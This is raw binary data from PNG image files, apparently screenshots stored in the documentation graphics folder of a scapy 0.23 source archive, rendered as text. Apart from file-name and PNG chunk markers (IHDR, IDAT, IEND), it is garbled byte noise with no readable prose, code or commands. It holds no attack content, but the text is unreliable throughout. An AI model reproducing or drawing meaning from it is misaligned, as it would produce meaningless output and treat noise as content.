i1^_܌TTI[[Zs&?94qٷ-P''i_ MR‹4FEҭs(w&w!g]Ykb҆5;K4靣[^<8ĥ[?T:s^->)t]:(?<7̤IgA^iqfphGˑjg[ n^j[Is8Q)^CpS<GCb?ghC1 ].3K~çWgG''ώ׊g9p:Y2.(,*nPvT4-P{? |9rEjM;qwTqv{j#|_1T_6K)r]vJ%u< 'M^[Q(@;_}e-_/~V|Rlo:uz ||N<n|{?pO|\{5<]1M:rezs4b?t5}]75?.i]gȃ}藁$<>ԧu7ß>ں̿r!3ǵt~3/M%Ղz>'oYX2۹_5X(?_x,_jYōr_4u\g W<.bCHNy4annztZKZiն߬LYMfwܼ-vx<(8RUb4v48GƦ:<{ ZJXJ5+itH^DDK6:HЦ{ Uz:R28;%^zZDX$j܅x;hM㘡_Mb|ZQGG҉hն?/nRn=~R IDATLC |Bsf27[BUnbupvm>Dְ? $z|$ k< LW\5Oe8 ?bƘY/5Uϟ^3eYV'd!# ;*ۇI<#D!kbԫ?m|Nslhuճh߶׮P-}w# W4&5Ef|c͋  oW9y[q!ç+wһf|!58"H}BU`4ŭmVꝧeX=@B^rXm÷t>o -((0ٷb,8'@\.a^p"zQqM.|C*ß&[VOmx5|4"T;1(m w1>U3t A<azʨSV[YW OU:se@:v[YQfu/1w ["<|f·oΙL)GWA~wcW<G.}oKtb|$+bQ,~k. bHV_<#n`bKO<O Vü<;7tˆr ֮[_XԸzpSq1N!>kRt;X&/5f_:mk< Cwoy;Wo{{6vm#Pqjr{|w$P1>2IjQZwwj{[1c,M?G2_=jȪgyC5 Gϟl1ϣ)zMVW}W@'EkuDMUfr"!;7^z-e "=i„{$&z<cr9YLw# =U\.Jm&#Gt1+JIR08ix`u$ФՃ&QxW;ĝhsvH`Tgnе[nu /wz;>rt;fGz Y$ܿC>\';7VmY_X^ sVo6{q M ^Y=^YbMU$I[K*+~)cZʊ2IlflkI e a"q)??&GHH79;DAwF,*w"ƳЫMQYooR@S=x:  @YOITɶz bKŅfW",bp<l#Vo°ZX(x nHBqOrXJF+s w޸͜o2f+J49pxAsBǫ/"|M1"xpHLsܝd;iuۢ Ǹw_W'l0&Y$&;ƳxQz|ZWfn.S=c5Z#8^wb\d*0[Շ6Dq5i+jNGqN1i^ў^; $/8\VWwXWBnWR#@b:% jo)/s s a _=@bBzxF~uK$qU|wb@bz5q&[g{@kޡKwx[Ť 0\YJ~tVwADq[m\{jʳsJl-`ų^xILWcEkWofP&@$)z|vn.+۲1wW鍥q]BW#@kx͏׃kLj;-[ջi; R|Bzk ^2ϝ rgqĕzBfKsԇCDz LJN5oIF=+!i6[gG:zmAz'bxxjշϗc?xy$7Xe&_Ew 1 uhs\ss4-;4x^LM .r\=v6::<WǫeW+F[!o#ȕc/fXWp!Wcr"uGszFoCի{ f*뼹#\9:? ƍh8Z1»ܣ1ZDG% \9O3W^sq{ռxb^R5n=>֬FkDwp+648*[ ޹r\سN1NH pho~VfOV| u\f6vzPWRjVw@q?>$HL$)rc4zc̅5OUg]KaCrC߶8x VS*Nqzm^LhODvܩ3ʉgQ-T Iu=.2ʱ룷`6A$WK2mv;xuNYqT:5r 1;]~P$W;.?c}2r{(#sgC g]eEz]$Q0ͭӄ`Zճ9f#F-j!KBxŽgիwJ,fncyܚ.юGhC$vE\W zF]"-q<@8^9Sx{xcc9|blzU!<<&Ej9G1~ `Cx 1l^K,&QH$u;*V)G3;ԗ ϏwSwօz6 Ni:fab}pB2@i AZe=>$7N0hpVWoId*|/!9>ޭ }\}uMc#!@T$t^yCc+) V3>.pJBPzpzV3ީ6azOMUyvn^ ]]x oDlWoo@Hf=>;7VmY_XL5U$m-)([kSLsh*+$Iʊ%E,q|~ypT$q^'#<$Dsg0m]kH 5#@D%z="xOFWwJ||+e>9emfn?: X(Qx$Dλޝ $㝇<G@qOC{; x6|NB[̄#5 y $t=n1g)#=ĝWӐb+Ջ=$xB{p4r'¼BBz-EzJz=5 /S7H[](6#N1fO3ܠ(Kuk*WϢz&*1-WU,tc4R])roIDvnus zmw-E_3k&*((PW V.ba^ 9drm0}3r{r*zm|>|UJ*yW4ڋmȤBu9쁺^\/Yl68xz8Qg(\+#0N>{X9 `zˣ#MwwnW7PGGZ#tW @-#yɶkgd~H) ^8>SSUWeCnk׭/,oi Q[y{8i?%zOFky$Y;ee[SMU$I[K*+~)cZʊ2IlflkI  9>1玈T_M m؞iry-"T=l!|yI$~9h?i|H1X%gS<Ѕ6)8 'Eq\N׌ٖ%Ι0\3Py&O$ް.r1x"_dpz3<8Ew\;F"òmG NOԆ$A㼥Y!@03?ޠ_p)c})G24wIENDB`scapy-0.23/doc/scapy/graphics/scapy-win-screenshot2.png000066400000000000000000000657321320561231000231240ustar00rootroot00000000000000PNG  IHDR\w$S IDATxyEkL2 Ʉa{Oæ"* DA7#O@ l** EL ,@  O ~@B Lf2ﭩ[˩SK/|?Owu9O-oWKE  "I.hgުhK ƭ\kOw?xAvAAD|ce.N>ylZ쇔,-T!YD@SKp>K[w|HH32zqP%stjFIsTpnO>(JJt,9tW"5_$P당j4(vW']@ ḋZ%ϳ,ؒ2JJqA `˭WlaCP*3yohAAnBA_u|_䲫?Ϋ=gP' gV|{rb'_ZwkZt[-ݘt+*<7~¥yzwW[ycloI?.ߜ1XϾn a/{Aц7lnՔm!skokg?O;`6mgdMJ^^:,~)cl˓\֓[&K~kyxac̶>?x٬W3z43%MȮ[z=1Ђq|PfrcECw/n핫3h(pKe]KeUۥ lil2<3޾+4 T6<UTlQؿ߃gO<Юm6)`ni)mm&u?ĘS4vm=#ccW}*MXflX3FT!;mz{߽!68s=7oXykz*ciyr՘Zzk Z߬c:ݤm[Um6invK^~kd1Zs ?1>?8i7 O-4kcLsތ5 ]- sj:|@06x+KOjqsצ=;!16uJu4*pмECw<1pS>;洷ۂSƌ_^w{Ni;1X3 O 2Ɩj2?q/ۓk)O;ݷ`C }^!.$ǯ=rQGٙjʺ;S߻:٤1vSٷhHzӮ[j_ϾqK_%~]=mW>0xΝOG'clv}:>[7?|`o1%݌O#ԎV_3~fWo=1yߵ.HǏf#vtw,Z>Oc-c,[?~rѝyo8gk^wZmG7?>;5nԻ;vݲ1hG'ƽiiw ]Eˇ>@MQqC y2eǣۻTiW63c?lw>1}ƈ1~c/463vokc'Xo} ;nMg?)aMn{F|OUwz%wQ1>>sb5K4'0Ο?TΗ}vޣy?jQ= Ŷw<5GSݻ󷏌_`Հ?rQe|Mڷݤ1x)Z4lI6cf]Ou~moqGg~a^;S_9=yGI1~-q[Oy4GMzĥy'm$Vm~|xQxgVqA*`-?ܘ4l=mImy﨓osfongFj5gCϾ6t-m9gFOj2uM滽cНڮTݭؔ[lvke7G)Zߥu-^]-}5Ä1ܻ|mG۾۵]\w1Ʀ?>SF0ݣuէ8R߷]kEg4CmόU=DZDvB2<ǯ0;JRT;0~R++ƌg{mW?]$uJVFzΟ\z=clqm2՞xK;J,_ψwϮeqb̹USӡyu{j>)^ 3&kٱbKK.=;v+VB5 7EϜdMϮ#>?^|Vc<3&a_o clŚ;sWIЉLıyƧ21rEwZ,ܾբۦQuGks>co.‰)s][MOqʾaؔIm`Mۯcʤ6ʾSn^E~1[N:Է2r'x5n˜3F >Wǎ0{\Fؽc-? r;nc-!Gcrh@v:1?{Őgͫ}%ݹ퓯bʾoקԥ.)DZg~VɸoOۇm0j̜61Gh~º/\rŚa؁;w>ɷ9ajf闫}Q{U;P>ɿwߴY^{_%MIG)|= )cϚ5k֬Y---?puexi6g c|HVVU*n}>Ϝ;޻ ?97;m9oR򱺩%|&<{v5A}cGY=ê3.eGUYxh1WJO]/LՍǶ\3}ZiCݪ59G?[^j\yuET+}$nduw>}F͏wJ;WUk+*_*mC\8)Ur~yUE58ɪydgΐ8}֩ϟ7/TϿY{xla%Z<@~Ք 6˕oUE:UnNjqTU:bG<ce˜،׋oM H޹Ctƞw(俪OGi=2Ǝݧ:֜}_jpS/W;uO~.*|=c0{D1fs3*c[Ͽo믽u=k.c3;IG=1vڡu fm{f-|kh;N? 7ioŏ'>:0h o# t}4fm^Ys(޿n\û[۴F-]{#|3}N_۹_ep=sk~c}wcxq<7 ٜxzpϮ=hW٤5}g1ǹQms,mLޙ ^vbu*ЂIo?;o;jQ=iıMջ;HGw.|k(}`gsuOz>t[CWq?kӰ[lrc+ kf8g xQ~Kק?mM;o8],[6VZbrG;w^u ?yh-=/X]\MyN|^.%;t?5zBWe<آ|m[[a; Og=j~nm|D^>lg;ˇߕr+D1+, JGK/Nx[>GgmW70Oٸ/U奚`|Ucxj;T~űGԞ~HUW~CV{)n?']_ɯ?QR=pcE]eWWT>E?_UK.Ĩt1hv1X7t| ut;՞mO9 G*ɟ^fjunSM+n㣫Byb%]UK4/t`-sbυSTڷǶY†׍ڲwUVUuCU'm~gM2jC/qʾʓ/ (}f=J;~E1֯,N;G޾9cW3ܕDo_婅o<.y;w2ƞZ8(cܹ3=*q}=Do?[d(֓[W~MԳ_qnb(??4a [x\L5N{tklI_]=:qQcavZGX?,gƪ}mS6nYrk?o'c{l믿TcEˆwa~@Z_wW/e`Ip_Y=ڭuImW~N>]t[MljѬUkُf \1 ?: {ߵuʤF҇fOy#oQm`}_} ]}×<0ĄNMݨ]f4={|QGqqPǥ'h-X59ˆ8^sȫ:zb~3W> f mN:4{i{; /-%r/߾s]hye9?FO ?-oo{[?p\.6=SVWO<'+Ν6oŚ•+?z{ꮏy=}3vᒡz2>"_ӥ\voO=#=)箸>xؼWn Ew^Ik|jkԕ|ӗsW+jo~3C^ xe)jkIs!g߶3^H#<+Qw9{ 7=>xmU!=FNfi IDATn~Qc?xسo߽#l˺{[[X|oྷoΘ^<: Eˇ: u:VбWm ,3,*r?2B߶#ZzW,߽g|'ElZ/hSMd1M-j.MVá,%o!!xY]IHNފ6a|b W]?߷ ə ^ԋ5eO}1O6;jirJJqMd[nb <{lW 53ˮv;В5|c<:gnxMɄ1켏U1Zm@٨yP)7**PU1& D{%C-X  Yy#8|XE:|X1W*aΊ5G_u h2z|jnq<_^wǓuh\Al}g7{a3Fm@1iomAdfe#MvKĆ x p{ݖhqrb(\2,lG"`͙%@zvl(x<.%H@O VrzDCy8Μ1N 泾r*ll*% QRisdK11tԛDȞ,|njRI٩.#xrG7V=^0D[o*w}(-=GZHSL/U~\L57^(gvREM.FACH$q6 $0)ڐ!]W;a/buzC3[oj S7.Ӏe({T*NKJJhM:d/!+֟"5CyLRYIJ߲e+U*=tX5Aq'Vn!,]RxO X[" "$d~hG"-V|EDH߫'0(hY!,ӛzzOŞ,̷%am+ծk8wݶjs!dmXb$B$QS~x7TgXN(p|NC#n>6!EJb)!r`&NC/jהd$lHtIcDYsJdd)o;z8Cc kU _xQD h:;QK WwͶ6ˏK唭H9HϮ|C4屄 !jCNϒq(ϖs0) |ו=QYŜm Zda9j#BP# X7|L7yɔ'M'()9DZ2p';hmD1Zj$Smt=7#Iz =5-`tb'k:Iv5p3_URI5SiChBĖ *I _bNH9 ʑzXgOڣHnl7hDja>Et5EL7&Q6'VGL@lSI٩.#xr*(Ɨ^}NDi?6EbgI~җ-o;bWj9̢(agX*{(&չVD@ˋvzMG 3r;|x ync[ ]أ͉Q4@i$8II k* ?]U#ٴ2z \q !g5=[E*ѿW^A׀4EZS>G|/Kq{ 9=K"ơ<[7?x1J]2g}]YC[Eit)?dͯU,GmDH0[ V9Rf|q|Ǩ.Ifϥ2XSGA<y*J=d3V$x\'bf7Io!'>ȦtD GEk,&©\W@O fNըMiXEKK8^p=dڐ<nggX+ߔ _bo5)C=URU.?8r`z2ŕ]ߣQJ@qm>11tԛDȞ,|njRI٩.#xrG7V=^0D2=gwaJ?v#SVHk*?.&~֚ʁ}[b3;V"|&m|s Rx J!${bb qmH V^QSs!7c5Ʃ\i2K=j'%K[@H{&Lw헐AOtQ1 |oo% }AOup0K5muIffXi+mf:&]Zk\ iZ=*oq;w)Je~~ 79N/O4(z }G' _kJqSj6lk:F Ft19S2ǔM뷈z=衱p5* /V(ULx]*cAa9e8kά-ҳ+ߐe+Foquy,ih<>1[m"R`Y1<8s8/d?=m_,,GmDHax놓ϑ&/d]^} I+ZwSFfkO4[M2v.pL1z3򛤷Yc9K9*&H{vdWc1Uu@ TWL@p"UU9NtW9"sjDPdOdUc*?{bETuSe?yTDsg-P47hRvK :J%2LY@D_)Q:Zz"NYHUTq1$?JKr`Uj+wkfQ3,zN\+"]W;aK>S=mZtW9"{H9 "_rq5#/S{)]DR"{[dsuU#w/MNu =)H!y<H SPDi?"ME2]Tq1$?xUۢ+ٱJ-7i绘SQr!A߫G!V )I׆PIm 55x0"z=Vc`Qu-CأVq_DU TGk,$k~~ YtMsWf{A7Ѫ-"^=AD~ 9Ƿi cd  DA  +q%EvϬEup0K5muIffX iz`2JdԞZ.p!d(JezN4|>ZW9pGu8ϵmnm#5iU!1NUQ;"UV&aX%Lh, ,~0#W"t qnHvDn&"3ȄB,Yh& ~o{6ȎcFq@v]?=>[M{hSBUcD~Ț_U\W91B4y|"lHE~(Oڶ=1 w$tzRWxSuh:XTdʣZMGʑ"p!@I XK5E4y|E\J9ٮxLےIxR+yta.i*o pS.I5h tB8ڒ.hr^@(ySoUF!;\+ ,(ʤb<~bw?LGYf=|NdW4&,-,ĒN0,:^ J߫kFNȯҪ,\4 vF>rU~=ڜō*\10N׫Bf9'h {Ac9AdD뿁CARyWOAHPh'r C.&&J鿕z(NKSKk']?;u<ֱƬGĖv.:V-[ZBWS~u])JeoMS: J.߫ODHAAȹ5x=+(FYȦtD GEk,&©\W@O fNըMiXEKK'H]{ȴ!y4W!i36ݒF[W5{)ФT <ѣB+ Qt/"Hdz;0 EđV)+T$ӵyx G|?kMÍW-ob>6y9)o%y|҉'E֞k+äDXkCTw]bu l10N(LN\BQU8/Y**Eڣ5 d5k Z 幇+3z \whUrJӷl  9Ƿi cd  DA  ť⑈+KB\xYZR|N\u3{#wﺮ7F) )е\2-/BNQe8h r^}}hshq!8p}kFkJqԛBc䫢w/EvLK+XDX**aF& $;E7=ݐ0fMc/=Df" {#X./":} L<47'/>mnj7g{&|# lK5V)//)⹮rc.h&^}Eؐ"n0^Q3%m[3{cjI(ץFGm'3Jtoo5ɔGP#E8zC@=^j0 \h&^}r]hE%pjW=E{t]ҶU5h\k6(p%+]>zX/Qxު@hCv^W7LA.;YPI:A{xI#yB >>?"6X7~ڙ9zWɮhTM7Y[XTyY k%-aXtxbL"ߚ/J;}K!k~R.`9j#B)tR07ʑ2kE@CMI4iKeT S̩y \UzWgJ%&I.U۹12]OoBzO|HS'M!@6XLSaꁞUQ(/|߫OP#iChBfl%y6c|S+|HNKVUH/VZˑ=WvjG~."D)>11tԛDȞ,|njRI٩.#xrG7V=^0D2=gwaJ?v#SVHk*?.&~֚ʁ}[b3;V"|&m|s Rx J!$^k߫O':eC=$ H!V )I׆PIm 55x0"z=Vc`Qu-CأVq_DU TGk,$k~~ YtMsWf{A7Ѫ-"߫oAroUAEɞA45Ar@~ՋK#W^9>ֵ6%X;gFu]muoR@8RkdZ^@˾q\9@h]Cq>׶ﻵPהj7W8WEE_ԋTZ b-ˋ2]W.TUŒ\MH߫wЁo8{+Ż!Ya`ͺ_£{D#F$g]^Dt(yioN^"| ;"o\wL0o5)G1N ATٖ!k~R^^V9Ss]h3kO\L!EagJK<-j۶g0$NdQKN0g\MIDbSj)j6)GpJ9*&H{6!EJb)!LpbeXk2zmmgSj6lk:F jQS~Q_)a@Lp=ӥ Wo!QK Wwe aln=UōdxNC&lMA)콇ӳ$bʳ%ppe |וŘ8D5?^v H2CZ]rFT!: S޻`oo#eW{#$hzӎ9>ʨbMS乪(D1J[M]scdћ$N Cm  r-_=5:U6Q:_`--W#uF ӆ<\tK>=mZtW9"{H9 "_rq5#/S{)]DR"r^}b@)b7=Yn]H @S]B?G$0Fn p{0D?ҽ`(""ezÔ~"6GZHSL/U~\L57^(gvREM.FACHK'־WOt%ʆv[{IC@R a! P*uk:j"Va7D>&{8u29 8Zr GUddzi$XI2h.*R3 roIU-[E*ѿWO߲%0"$ߦǃ ='hj\-+"^=Nnfx(8-M--5w2( ٶjs!dmXkPŕ?uK웟a9MS: }'xщ{eBWR仚 階т?~(kN锌1e-|^zh,dʹ aa~/J(aA487xlk l3X}PdXN:D3kK7$JQ[y\]K2=O VrzDCy8Μ1N 泾r*ll*% QRisdKn2 cS9sAC:. ֢ ѝ<yWOAHД8W߫.d]9%am+&{ƂmHS~xW+M+S{RkdZ^@+q\9@Q}mwkV)NSo q.)ڵh0 #Z.Y?d@c]`(^}a߫nHvDn&"3ȄB,Yh&{h|:N+~Gg‡yIq?q_j̶Ykў"*GY{:BfWm[3{cjI(ץFGm'3Jtoo5ɔGP#E8zC@=^j0 \h&{hE%pjW=E{t]ҶU5h\k6(p%+]>s}[(m )e1 2@'h/9/i0OhGĦO;3!QY*;=j&K` */?ka-7 K|B߫Ga ZVUiUQwvR #*?mNRizU[ldk3cLzN4z b౜ 2WOQ} (9{!EM%Ji~t(׏׊Uk3#Jw]u{~fr^Xv+XZW9pGu8ϵmnm#5iU!1NUQ;"UV&aX%Lh, ,~0#W"t qnHvDn&"3ȄB,Yh& ~o{6ȎcFq@v]?=>[M{hSBUcD~Ț_U\W91B4y|"lHE~(Oڶ=1 w$tzRWxSuh:XTdʣZMGʑ"p!@I XK5E4y|E\J9ٮxLےIxR+yta.i*o pS.I5h tB8ڒ.hr^@(ySoUF!;\+ ,(ʤb<~bw?LGYf=|NdW4&,-,ĒN0,:^ J߫kFNȯҪ,\4 vF>rU~=ڜō*\10N׫Bf9'h {Ac9AdD뿁CARyWOAHPh'r C.&&J鿕z(NKSKk']?;u<ֱƬGĖv.:V-[ZBWS~u])JeoMS: J.߫ODHAAȹ5x=+(FYȦtD GEk,&©\W@O fNըMiXEKK'H]{ȴ!y4W!i36ݒF[W5{)ФT <ѣB+ Qt/"Hdz;0 EđV)+T$ӵyx G|?kMÍW-ob>6y9)o%y|҉'E֞k+äDXkCTw]bu l10N(LN\BQU8/Y**Eڣ5 d5k Z 幇+3z \whUrJӷl  9Ƿi cd  DA W[^; NKSKKM]?;ELBZk\ iZ=*oq;t].gXN(p|NB߫;>7ytzPU';%fFcOjD#ʚS:%#{Lٴ~()Á Y3BXbŋR%JX}>M5ڮ ,?V.S# = _l{Xq2ENJs O&e~H` ޫ_"S<$J'H+nW%.J|?kM򣔾$mQ~߉X@R{ɿfE ;RA߫Ga4ε"*^^uk: l۱3Ks8uۢ*?mN"@H{&9LOY3Uih隮iͦMߐAkX 9B.RAk@rTIj")џ8  JA.Đho%A4?|Nx'u1-] NUK,;VŕitWJRY%|NB߫G#2o }IDATXD1eBWo$lHt=5Q=E-|^S0~{{K+aA487xwXj&KyS[jXHot=d)~+ք2>>{ 9=K"ơ<[7?x1J]2g}]YC[Eit)?dͯU,GmDH0[ V9Rf|^}IiKeT S̩y \UzWgJ%&I.U۹12]OoBzO|HS'M!@6XLSaꁞUQ(/^}2mHUHڌM3foJw/7ɞpɪ )*W\_k9r0UG.~[E(%rWE>[W5{)ФT <ѣB+ Qt/"Hdz;0 EđV)+T$ӵyx G|?kMÍW-ob>6y9)o%zbb qmH V^QSs!7c5Ʃ\i2K=j'%K[@H{&Lw헐AOtQ>#9R:rt`2 xKvnPjj:rz0Vo,Uoȳ+(V헵򣤫Jf-! {q}H6hh\h%9J{zzٱ^0Zc?bL9&ܹ4#6]3kO. >xZ 2mpq,M*6;7MgGQ6"7x 5@ !Lk̮`=tDLC( MojwYPT F!{-+j3oEztK/FlZꄞ6T)t=K*rTQրbK^k~-!Ht6X(P.*g0Qa-,U2٫=@~hz*J8~|V˖+,x9sYEJy-]`}i'}h@(? hh.^PT}{, se{zzh*w -9WP0r'z91=I騚(0pҢ?*X9- :!/Jmw=֪K/iw:7&c;EgPkcOnJt5=1շ팚=W/]mmiZ)DZ--Pk]Tfv8G<v`vw7GF7Y" ~IN+ ^=2Gƿ+zQ_VIo+ycrT;M6,)B?\ߣmNg9ڞ{s^}ovncxB׎ ݋հcמ!c uF)xS<0]ZxϴjU2ن!?`2)[{<}Bj{)Y+qpt oƘr,wpC)\CB< d_ W\7~.+ُsb9҂&tsqsCc2LU'~BvJx8Ÿ`s{Ē7m 1B<F'uO_6O>'9.M<X]hpR@@v_~[k3Yͧ k%YzO!nCkAw 8xEk|v >{̳[JD%tIi\ \o8I#=AkJY)3oGwZ:0~®Unˬ?B3כu4YD\wg7 {i1bZӱfbϪYs{p;Rs_7JVKaΦ_ & *$Ercz[j8?ObYq  'ilkWbF63 pHYs   IDATxuuEp  QIADyAAiEJI BFVA,+ϹϽy왭93_zG% $ $ TVc_    ߒTLw`mANwsPz~bL}?qܙM6u#[34hliPg?F#Տ|#ݨ9YA *رt)Ϥzꩉ&7m}+tcSN9>ۍSQ^⼂4000IEJ% $ TIUpRRc 1H b 1 NJR@x {ߌIx]w=/?A. g&t1Sv@@@[hI]wu[o38m 2g,u׿SO=|7Ӈw '+P2.x9 eR6l'_b%B- .ছn>Sz+:xpn~;/[l@viƻT"ݎx=m&."Yc5)]$H=RRwqG.u`ҫ|/ ! WٽZ$rtK 8"v}99 2Yf0zI}KH2 I⊶=tM?O;oW_yilCSWI't7Ypf3VD%z뭼gq^{m g5Sn /=փ_=;Ë/xUW=}#|P]v/n~CB=c^VV[meQ@ov衇r-M.bQ7p~O<)W\@U\rɢ.J+IGuY_}}5log)&5׀8[nG*i]vYͯ}kao|#Ps̱ #::)`4L2/}ݱx.qGҲƕ8R3+9~og/}K8nT'4Հ8"dI030h_E:#kMk򪯓 cm!,LojNl`+POSeJ} ."G"D@`mx>O\jk@]!QA,cd#e@0wYm"XL+>"&!*&ŽOW_| 5B QMŤD;;cRD0tP(vaVb!!S$XkeXN;! _|1'{`۩zfCd;~ldli~Ψf* si8݊7UCfk.nXRyՁlIzg,4㴪Drx>CO:#L$8ݣI~2QX+ntIIT4DdL9 % X~"LA{N2)C.30"jDtALW-bRo \f\ٳvm\G(YZr s?Rz怃7 \~7'D'Bja2wߝtsog6/}Z}=X?EUp`?x*dJR<5W*;a;sJu ~m.]J`^̸LuW!V܀CYq0HGjۿ'R 3UIQ:tM~B4m,r>aQXf"y+tw=&eUiB#o5~R"( hd#Ҷ\E .c3_c WLA5J2)Fdyp=]B12 Ҳ*nsM2)7.)=ꨣ±F_|4ǖ+䲀Bw->+& VRQS~cSl o@? -T{Q'*?bσM8+/~jo9qb,2g@^$|+ 1޸3hDH-ztts_ j&o~[u:960 'Jw" 5{/gΚ`iԧ>e}o@%#Fm!fzIXsu'q; ޳ZSByxuږ iĝ9;ӑJ|xX"(J%uR~To(6e~P[armu kXi6ȶ{!vo EL d3)tW/;).%^}[/| L/,ff11ul`A’@Y!cyA A7y16KHHVFMCv2m8@~MvPɯKy*cB~R700k $&k@bRM+' $ I㩽0TSJ  @޺zǁmK}+RJacP䙔=Aj nrdF$ Μ!XpC/~ " Y"Bb~9U) -TK\<Ǖ @ ~sy;IUO=艈} h%S=Q_Pxp᥀*BKҟPb`DL|MvӏPv(6+Ljb`t{jˊ-#52 @ nGšDU/q"RN00T`$@5&FW KTyJTy\%b`%$O5$)&<!@10T@hV>% T,W@㶡gԸqg>Sr;C詫I|E $&Q?/8|ji ߹?O#@kF\s͕Wa@rA< z))ޢzE$| {!/\O<?Ay _lUAb sJl[o B8WL *,_Ctń'fbOԍ:_zףco>5QkHMr-u>g)}R?M$y{bL*` IRfDō3[`&zꩧB:"[φ~gV,n)>|z0K $&};6'njN:&j!詧iZ_'>:U@0TӘW:(WI)<$g?~雮y䑅^?NbL9NJc 1'cdjv#aXQwXpR1 .;stTk@W0T[h}7E:LM=mTW]uU%QzbRxckG+‰WBFʊBfhpg}h${DQHR2~)U VGs-l` +TRgyf؇Gg 4A߁ACOq3LM K.NcK/u! 30$0&|bٽ"NRN@@0T&#u%a aĤ8I9  @bRԕ"*$$ $ TIUh2RWE"B`,sXob]9mw_^3U3 Q.UjG{ng~մz*BI?\p 'P`{1]1 3dRt]>UE p+4.F~!$Is-o{^uIW_]V6*8=\g9^{ /ن/}Ko7V$՛-qlxE}E%119=C{ 5\+XS{E,س̊abR= 9t}c~r f!hD XD R}V͂Ԩxow1ή -u]ߐVjwzE>Co:b-+qwu]li|_׾LaoZD -ū\rK1;<|}љfiep ~hm]V<|/0x?<r#ڋg9`yM֝w)NhL 7pM7p~Jml3曙twDk~򓟘o钋6vqYfeңV]uU*AA?"C<)7oVYD@N gr̥^|Xy) ~sY  D4ٜI'Txuw sWX`eu@5r{@xRE hjw=7VsO=!Z$ PCeh*q@S ~52Gy${EXH]Hb5הCE)!OjY,2ߦo ꆾy睗t qq) 8Wq0!cNLԤT+Ԍr _=t:Y$4ns[oaĤ89%ah`B#fDwyz.%MG%Sj.<}Cc 2P6>fr ;Ɨp01uI )>v8 yJc\ftJI*$e+}dq1&U̱w|IETe]ᅌ-n%@\͗3uT/oS^ ;יp12)+FmZq1dRIqnvZG?-r]@t:ZlPӟt6Osݥ3E&[ecH~6E(F"Gv)XeUS`/0123RM9UǴW|;U_~iIQ z`s}0;>ˡIs@ >;dDB =#kGR<}S(nt%Bj%SSn٪{IIՙzh+!K9*# ?*믿mQGѴTZ߈Wx[ cCu٩G `kV >LLJ,6D}AYu묳{3<s$^zieQ>|W$¤*<$s>϶ʁz䣀kʧz*yЯ7UO.GVeARHpd浔3Wܗz{gӛSCN~ \ dՔY#&Ԛ'pb&IѣGv$ĤZNt\U׻XO?8f{tUAPR=b=-'gF !\[*tC٩ <MsLϽ†8(E ovnygeqi|qb9xYhV`h'A"L۽'}qq0D/\al:|XK8‘ѬM+U6nGz t*[<[?~RWJzyxl1(}1DŽ5ԣHpfAʯW\Oaq~^ȵmF r%Q烤qsO >G-5agvC:EP~a?ǹzPާ>YE yeʙbe1?>ۺe09N;-3B:@f}>:1m&VM$?,6r:~Rd" &W$h r*U` h˂a$h;'cXJל_`E̎PZ"'_JLw!kI%8Am%p%,w^kWtʢbr XٕXYO9唠%լ61h uTR _ՙzd1:KIqTƦ_uYH:{[? \r uMzz3t0TlCSf<3"*ᶓ%~Jv aiW95_F5{I~C>G?Ѧg .0abR}7݉f[J+J)N%V[M:}?}S*NXIU|{[ / &4vz71 {[[%͙C݉Il_OߖVGCa!8o*O3!#XLW?*W3~I^+8X[ sae JpP-ܯK|;|kV[qpNHµ,(h\0@}\y \+U 1M[\iU}!y!{U[S[%ޔ#X>l!]9x~3 }X/Z9s'=O5d x'o9X<Al.} rΜx끿7F޽#ܫj2^{,!qKlNVTV"v|'a@w8f΅2, YǴw~z'WP1`;1򕽁=͹u9 !j먫{ޑOn/~ڋǷq9]rĤz=G x 6m4{ףu^7A~ 7D]o/|lYUPG뭷&|A`8&Y8}j*s#ae6q (0РlX\Dߔ51󍵧 L*!5cL8{ 'WI1qa&T&Enu^L_p}MWdc&T]xV9<.uG 11>̔,bBGz>M|BZuU&o*qneTl9~HW!ŠM~=LL[%.Urwypez׻~鱚›raOWRnl~VkV;A3lUK/[ZNObRqIm&]}՝luqvA{ɭ?\veŚ+s3Ϭxt/1:⫝̸g0ׄ2.vyNl\B}}Mš̭:(f}هBXmesZȺpM`lov,1(@4win5z3u~=Ĩ/R"0ˆxN-h㢋.Zn߳W,gqƱ[3;|?t@wqG:VjRY[HC7Xiqo tx1p5ʴvmRC]wu !@ e ŒW .}z ݾ`@Țz/MlԇtUWIׄeRyS1#Daˋ%gRi,6d^&eʥΎ-*sDxywVfl:8 $ RU `AeNRٚg)3a a aHLOM' $ 4@bRq Ĥt@@c ߺ׸ uib30*m܂8 #tu޼JP>c<*/xEQ` ';؁VUiIٿ34 1O_^DDyG"g3{v#c3θRK9`isp ?47j k^묳P\Ckn&qE[dvۭ |) ~q]wvyg\Zѵ^[QYsᎄIs1p/v͗d7~"km/fR#D7'lQ2whd}]7|ogX~߱R~ PV/j &bZk[y" T;Q9Nv"|l9L *"N1ոr!"Lrb Kpᆂ]<"[$|HQh`*pzhP-1T|ؑcC<{I{ |͹ JcsOo54n8*l>.ԜWtamc* W\#HS{d zhXp\*- uUΝ—6H'{X26:PSf `.uMVbt#DH?&+LW~d걄<#bݞVZIƓлU!25X#WCs`|' 2Tl|2)\)?_;CFBvJiLg\L~ J\2/ eo68䓹B"U1Yv(nU@/aGtl+9*T/~{X շ%b#bûUFI9]{%H! 7i4kRր5\~-c1M28لo@7֮kKf9b~9cdR#|E6/ٶ\i3nm_^^bfm!B~K!J<0)}͚%'e>IM1"$hjDbRz,~¦u8.8f˫T5&5:)efi8aSD8 ȰNz#JQ.9*>HR\i -xʅ"r-+HBsOܐ]og<ӬaM@6"7s ~* Y3&5L?X=ҡΐiJ ,%`G|<.5\rI?Y636졂\Z~ llFBY Qfsd.hC% i@ D6=Jj2V*"E&}aA$ {s"I%T’N;AF.누hM4l=L F\-[f_8/a:#ǏڞiX*GgErRYQ.V2@Ȭ,K$8_|\@pFN}k,EPHVS(b^x衇XrW6D{ְO0)L ptA>?RC>8'y晘S'A-, *+UeV1&/gPaRe w!o.:!{/(K"8^jxI9Lm,%Y.8;Y0i;~wmGlyalO WA`ѡh0.W,>H: ɛVB&6{m>MX$=5,̈ p8AMVjҰoA_(XR@HF a+jxU嘿UaBGSp׌0r|A&! B6pzަIp B<ey 雙Җvڑ1X/_=ݹfnAz8>߹&42hs%IՑG=a᷍5п?ơσtZb[q7^ZDD߲0P[ݸ)?xM*42v_~Y”_l~l&(b~ T|"TB= K]U M÷(:3tf"Cqy l~ӽnX~T㼅YH4~$m 8K\}om YT5۬'dM=R! NiFs/GJ֙k(z:C&7Tl5gNqcBN1"v5gJd M묐ej5)*ܸ5DFͷƤj"a2ۙ֘(Ϋ,o: CEZ0 